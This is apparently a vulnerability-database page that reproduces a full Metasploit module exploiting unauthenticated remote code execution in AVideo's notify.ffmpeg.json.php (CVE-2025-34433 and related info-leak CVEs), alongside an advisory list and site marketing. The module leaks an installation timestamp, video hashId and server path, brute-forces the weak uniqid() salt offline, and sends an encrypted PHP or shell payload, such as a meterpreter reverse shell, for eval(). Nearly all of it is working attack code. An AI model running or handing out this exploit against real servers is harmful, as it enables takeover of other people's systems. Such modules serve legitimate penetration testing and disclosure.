| Reporter | Title | Published | Views | Family All 31 |
|---|---|---|---|---|
| CVE-2025-34442 | 17 Dec 202519:48 | – | attackerkb | |
| CVE-2025-34441 | 17 Dec 202519:48 | – | attackerkb | |
| CVE-2025-34433 | 19 Dec 202515:37 | – | attackerkb | |
| CVE-2025-34433 | 19 Dec 202517:01 | – | circl | |
| CVE-2025-34441 | 15 Jan 202623:54 | – | circl | |
| CVE-2025-34442 | 15 Jan 202623:54 | – | circl | |
| AVideo 安全漏洞 | 17 Dec 202500:00 | – | cnnvd | |
| AVideo 安全漏洞 | 17 Dec 202500:00 | – | cnnvd | |
| AVideo 安全漏洞 | 19 Dec 202500:00 | – | cnnvd | |
| CVE-2025-34433 | 19 Dec 202515:37 | – | cve |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'openssl'
require 'time'
require 'tzinfo'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Payload::Php
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'AVideo notify.ffmpeg.json.php Unauthenticated RCE via Salt Discovery',
'Description' => %q{
This module exploits an unauthenticated remote code execution (RCE) vulnerability
in AVideo's notify.ffmpeg.json.php endpoint. The vulnerability stems from a critical
cryptographic weakness in the salt generation mechanism combined with information
disclosure vulnerabilities that allow an attacker to discover the encryption salt
through offline bruteforce.
Root Cause:
During installation, AVideo generates an encryption salt using PHP's uniqid() function,
which is not cryptographically secure. uniqid() generates a 13-character hexadecimal
string composed of: 8 characters for Unix timestamp in hex, and 5 characters for
microseconds in hex (0x00000 to 0xFFFFF = 1,048,576 possible values).
Exploit Chain:
1. Leak installation timestamp from /objects/categories.json.php (public endpoint)
2. Leak video hashId from /objects/videosAndroid.json.php or /plugin/API/get.json.php
3. Leak system root path from posterPortraitPath in video API responses
4. Leak server timezones from /objects/getTimes.json.php
5. Offline bruteforce of the remaining 5 microsecond characters using hashId comparison
6. Use recovered salt to encrypt RCE payload for notify.ffmpeg.json.php eval()
The notify.ffmpeg.json.php endpoint uses decryptString() to decrypt the callback parameter,
which has a fallback mechanism: if decryption with saltV2 (cryptographically secure) fails,
it retries with the old uniqid() salt. This fallback makes the RCE exploitable.
Affected Versions:
AVideo 14.3.1+ (introduced January 7, 2025). Requires: Fallback mechanism in
encrypt_decrypt() (introduced January 15, 2024) and notify.ffmpeg.json.php with
eval($callback) (introduced January 7, 2025).
Note on v20.0: The vendor removed the posterPortraitPath leak but did NOT remove
the legacy salt fallback or eval($callback). RCE remains exploitable using SYSTEM_ROOT.
This vulnerability does not require authentication and can be exploited remotely by any
attacker who can access the AVideo instance.
},
'Author' => [
'Valentin Lobstein <chocapikk[at]leakix.net>' # Discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-34433'], # Unauthenticated RCE via Predictable Salt
['CVE', '2025-34441'], # Information Disclosure: hashId leak
['CVE', '2025-34442'], # Information Disclosure: System Path leak
['URL', 'https://github.com/WWBN/AVideo/pull/10284'],
['URL', 'https://chocapikk.com/posts/2025/avideo-security-vulnerabilities/'],
['URL', 'https://www.vulncheck.com/advisories/avideo-unauthenticated-rce-via-predictable-installation-salt']
],
'Platform' => %w[php unix linux win],
'Arch' => [ARCH_PHP, ARCH_CMD],
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
# tested with php/meterpreter/reverse_tcp
}
],
[
'Unix/Linux Command Shell',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command Shell',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
]
],
'Privileged' => false,
'DisclosureDate' => '2025-12-19',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'The base path to AVideo', '/']),
OptString.new('SALT', [false, 'Known salt (skips bruteforce)', '']),
OptString.new('SYSTEM_ROOT', [false, 'System root path (fallback if leak fails)', '/var/www/html/AVideo/'])
])
end
def check
gather_info
return CheckCode::Safe('notify.ffmpeg.json.php not found (requires 14.3.1+)') unless @notify_exists
salt_provided = !datastore['SALT'].to_s.empty?
unless salt_provided
return CheckCode::Safe('categories.json.php inaccessible (timestamp leak required)') unless @timestamp_accessible
return CheckCode::Safe('hashId endpoints inaccessible (videosAndroid.json.php or get.json.php required)') unless @hashid_accessible
end
return CheckCode::Appears("Vulnerable version #{@version} detected") if @version && @version >= Rex::Version.new('14.3.1')
return CheckCode::Safe("Version #{@version} requires 14.3.1+") if @version
CheckCode::Appears('Prerequisites met (version unknown)')
end
def exploit
gather_info
fail_with(Failure::Unknown, 'Failed to discover salt') unless discover_salt
callback_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
vprint_status('Executing payload...')
res = send_rce_payload(callback_payload)
return if session_created?
if res&.code == 200
vprint_status("Payload executed (response: #{res.code})")
return
end
error_msg = parse_error_from_response(res)
fail_with(Failure::Unknown, error_msg ? "Exploit failed: #{error_msg}" : "Unexpected response code: #{res&.code}")
end
def parse_error_from_response(res)
return nil unless res&.body
data = JSON.parse(res.body)
return data['msg'] if data['msg'] && !data['msg'].to_s.empty?
return 'Unknown error' if data['error'] == true
nil
rescue JSON::ParserError
nil
end
def gather_info
return if @notify_exists && @timestamp_accessible && @hashid_accessible && @timestamps && @video_info
vprint_status('Gathering target information...')
detect_version
@notify_exists = check_notify_endpoint
@timestamp_accessible = check_endpoint('objects/categories.json.php')
@timestamps ||= get_timestamps if @timestamp_accessible
# get_video_info caches endpoint responses, reused by get_system_root to avoid duplicate requests
@video_info ||= get_video_info
@hashid_accessible = !@video_info.nil?
end
def detect_version
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'GET', 'follow_redirect' => true })
return unless res&.code == 200
version_match = res.body.match(/Powered by AVideo ® Platform v([\d.]+)/) || res.body.match(/<!--.*?v:([\d.]+).*?-->/m)
return unless version_match && version_match[1]
@version = Rex::Version.new(version_match[1])
vprint_status("Detected AVideo version: #{@version}")
end
def check_endpoint(path)
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, path), 'method' => 'GET' })
res&.code == 200
end
def check_notify_endpoint
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'plugin', 'API', 'notify.ffmpeg.json.php'), 'method' => 'GET' })
return false unless res
res.code == 403 && res.body.to_s.include?('Empty notifyCode')
end
# Fetch server timezones to test multiple uniqid calculations with different offsets
def get_timezones
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'objects', 'getTimes.json.php'),
'method' => 'GET'
})
return [nil, nil] unless res&.code == 200
data = JSON.parse(res.body)
[data['_serverSystemTimezone'], data['_serverDBTimezone']]
rescue StandardError
[nil, nil]
end
# If the default category created at install was deleted, exploit will fail (timestamp not guessable)
def get_timestamps
vprint_status('Leaking installation timestamp...')
system_tz, db_tz = get_timezones
vprint_status("Server timezones: system=#{system_tz}, db=#{db_tz}")
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'objects', 'categories.json.php'), 'method' => 'GET' })
return [] unless res&.code == 200
# Try JSON parsing first, fallback to regex if JSON is invalid
timestamps = parse_timestamps_from_json(res.body, system_tz, db_tz)
return timestamps if timestamps.any?
parse_timestamps_from_regex(res.body, system_tz, db_tz)
end
def parse_timestamps_from_json(body, system_tz, db_tz)
data = JSON.parse(body)
rows = data['rows']
return [] unless rows.is_a?(Array) && !rows.empty?
first_category = rows.min_by { |c| c['id'].to_i }
created = first_category['created']
timestamps = datetime_to_timestamps(created, system_tz, db_tz)
vprint_good("Installation timestamp: #{created} -> #{timestamps.first}")
timestamps
rescue JSON::ParserError
[]
end
def parse_timestamps_from_regex(body, system_tz, db_tz)
matches = body.scan(/"id"\s*:\s*(\d+).*?"created"\s*:\s*"([^"]+)"/m)
return [] if matches.empty?
created = matches.min_by { |m| m[0].to_i }[1]
timestamps = datetime_to_timestamps(created, system_tz, db_tz)
vprint_good("Installation timestamp (regex): #{created} -> #{timestamps.first}")
timestamps
end
def datetime_to_timestamps(dt_str, system_tz, db_tz)
dt = Time.strptime(dt_str, '%Y-%m-%d %H:%M:%S')
dt_local = Time.new(dt.year, dt.month, dt.day, dt.hour, dt.min, dt.sec)
timezones = [system_tz, db_tz, 'UTC'].compact.uniq
timezones.map do |tz|
tz_obj = TZInfo::Timezone.get(tz)
format('%x', tz_obj.local_to_utc(dt_local).to_i)
end.uniq
rescue StandardError => e
vprint_error("Error converting datetime: #{e}")
[]
end
def get_system_root
return @system_root if @system_root && !@system_root.empty?
# Try to get from cached endpoint responses first
@system_root = extract_system_root_from_cache
if @system_root
vprint_good("System root leaked: #{@system_root}")
return @system_root
end
# On v20+, path leak is fixed; fallback to SYSTEM_ROOT (default works for Docker instances)
@system_root = datastore['SYSTEM_ROOT']
vprint_status("Using fallback system root: #{@system_root}")
@system_root
end
def extract_system_root_from_cache
pattern = /"poster(?:Portrait|Landscape)Path"\s*:\s*"([^"]+)"/
# Collect all cached response bodies to scan
bodies = (@endpoint_cache || {}).values
bodies.each do |body|
body.scan(pattern).each do |match|
path = match[0].gsub('\\/', '/')
root = find_root_in_path(path)
return root if root
end
end
nil
end
def find_root_in_path(path)
%w[/view/ /videos/ /plugin/].each do |subdir|
return path.split(subdir)[0] + '/' if path.include?(subdir)
end
nil
end
# Fetch video endpoints once and cache responses for reuse (hashId + system_root extraction)
# Note: videosAndroid.json.php can take a long time to load, this is expected
# hashId won't be accessible if no public videos exist on the instance
def get_video_info
vprint_status('Leaking video hashId...')
@endpoint_cache ||= {}
endpoints = [
normalize_uri(target_uri.path, 'objects', 'videosAndroid.json.php'),
normalize_uri(target_uri.path, 'plugin', 'API', 'get.json.php') + '?APIName=video',
normalize_uri(target_uri.path, 'view', 'info.php')
]
endpoints.each do |endpoint|
info = extract_video_info_from_endpoint(endpoint)
return info if info
rescue StandardError => e
vprint_error("Error checking #{endpoint}: #{e}")
end
nil
end
def extract_video_info_from_endpoint(endpoint)
# Use cached response if available
body = @endpoint_cache[endpoint]
unless body
res = send_request_cgi({ 'uri' => endpoint, 'method' => 'GET' })
return nil unless res&.code == 200
body = res.body
@endpoint_cache[endpoint] = body
end
data = JSON.parse(body)
videos = data['videos'] || data.dig('response', 'rows') || (data['response'].is_a?(Array) ? data['response'] : [])
return nil if videos.empty?
video = videos.find { |v| v['id'] && v['hashId'] }
return nil unless video
hash_id = video['hashId']
cipher = hash_id.length < 16 ? 'RC4' : 'AES-128-CBC'
vprint_good("Video ID=#{video['id']}, hashId=#{hash_id} (#{cipher})")
{ id: video['id'].to_i, hash_id: hash_id, cipher: cipher }
end
def compute_hashid(video_id, salt, cipher_type = 'AES-128-CBC')
key = Digest::MD5.hexdigest(salt)[0, 16]
plaintext = video_id.to_s(32)
cipher = OpenSSL::Cipher.new(cipher_type)
cipher.encrypt
cipher.key = key
cipher.iv = key if cipher_type == 'AES-128-CBC'
Rex::Text.encode_base64url(cipher.update(plaintext) + cipher.final)
end
def encrypt_payload(payload)
key = Digest::SHA256.hexdigest(@salt)[0, 32]
iv = Digest::SHA256.hexdigest(@system_root)[0, 16]
cipher = OpenSSL::Cipher.new('AES-256-CBC')
cipher.encrypt
cipher.key = key
cipher.iv = iv
Rex::Text.encode_base64(Rex::Text.encode_base64(cipher.update(payload) + cipher.final))
end
def test_salt_candidate(candidate, video)
compute_hashid(video[:id], candidate, video[:cipher]) == video[:hash_id]
end
def print_bruteforce_progress(ts_idx, timestamps_count, ts_hex, micro, total)
return unless (micro % 100_000).zero? && micro > 0
current = (ts_idx * 0x100000) + micro
pct = (100.0 * current / total).round(1)
formatted_micro = micro.to_s.reverse.gsub(/(\d{3})(?=\d)/, '\\1,').reverse
print("%bld%blu[*]%clr [#{ts_idx + 1}/#{timestamps_count}] #{ts_hex}: #{formatted_micro} (#{pct}%)\r")
end
def bruteforce_salt(timestamps, video)
vprint_status("Bruteforcing salt (#{video[:cipher]})...")
start_time = Time.now
total = timestamps.length * 0x100000
timestamps.each_with_index do |ts_hex, ts_idx|
(0...0x100000).each do |micro|
candidate = format('%s%05x', ts_hex, micro)
if test_salt_candidate(candidate, video)
print("\r")
elapsed = (Time.now - start_time).round(2)
vprint_good("Salt found: #{candidate} (in #{elapsed}s)")
return candidate
end
print_bruteforce_progress(ts_idx, timestamps.length, ts_hex, micro, total)
end
end
print("\r")
nil
end
def discover_salt
@salt ||= datastore['SALT'] unless datastore['SALT'].to_s.empty?
if @salt
vprint_good("Using provided salt: #{@salt}")
return get_system_root
end
get_system_root
@timestamps ||= get_timestamps
@video_info ||= get_video_info
return false if @timestamps.empty? || !@video_info
@salt = bruteforce_salt(@timestamps, @video_info)
[email protected]?
end
def send_rce_payload(callback_payload)
notify_code = encrypt_payload('valid')
callback = encrypt_payload(callback_payload)
filename = Rex::Text.rand_text_alphanumeric(8..16)
ext = %w[mp4 avi mkv mov webm].sample
full_filename = "#{filename}.#{ext}"
notify_data = {
'avideoPath' => full_filename,
'avideoRelativePath' => full_filename,
'avideoFilename' => filename
}
notify = JSON.generate(notify_data.to_a.shuffle.to_h)
params = {
'notifyCode' => notify_code,
'notify' => notify,
'callback' => callback
}
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'plugin', 'API', 'notify.ffmpeg.json.php'),
'method' => 'GET',
'vars_get' => params.to_a.shuffle.to_h
})
res
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation